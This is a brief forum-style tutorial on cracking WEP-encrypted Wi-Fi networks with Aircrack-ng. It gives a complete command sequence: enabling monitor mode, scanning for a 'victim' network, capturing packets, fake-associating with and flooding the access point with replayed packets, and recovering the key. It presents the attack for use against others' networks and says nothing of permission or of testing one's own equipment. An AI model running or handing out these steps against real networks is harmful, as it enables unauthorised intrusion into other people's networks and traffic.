[Tutorial] Cracking WEP Encrypted Networks.

Not much details included here. If you want to go to depth on it then please visit the official Aircrack-ng page, here.

First find out whether your card is supported or not.
If yes then follow with following steps.
Become root and type these on the first tab/terminal.
***NOTE: The bold words are to be replaced with the necessary info***

airmon-ng start wlan0
-- To put your wireless card into monitor mode for sniffing datas.

airodump-ng mon0
-- To scan for wireless networks available in your area. Find your victim with WEP encryption.

airodump-ng -w filename -c channel_number --bssid victim's_mac mon0
-- To collect the data from your victim network. Replace the bold one's with necessary info shown as result of the second command.

aireplay-ng -1 0 -a victim's_mac -e victim's_essid  mon0 [ In new tab/terminal]
-- To fake associate with the victim AP.

aireplay-ng -3 -b victim's_mac -e victim's_essid mon0
-- To ask the victim AP to generate more packets/replay packets.

Keep looking on the airodump-ng tab/terminal. Once the data/packets reach 5000 you can start cracking. For this open a new tab/terminal and type the following command:

aircrack-ng --bssid victim's_mac  filename

If 5000 was enough then it will vomit the key instantly, otherwise you may need to wait according the key strength.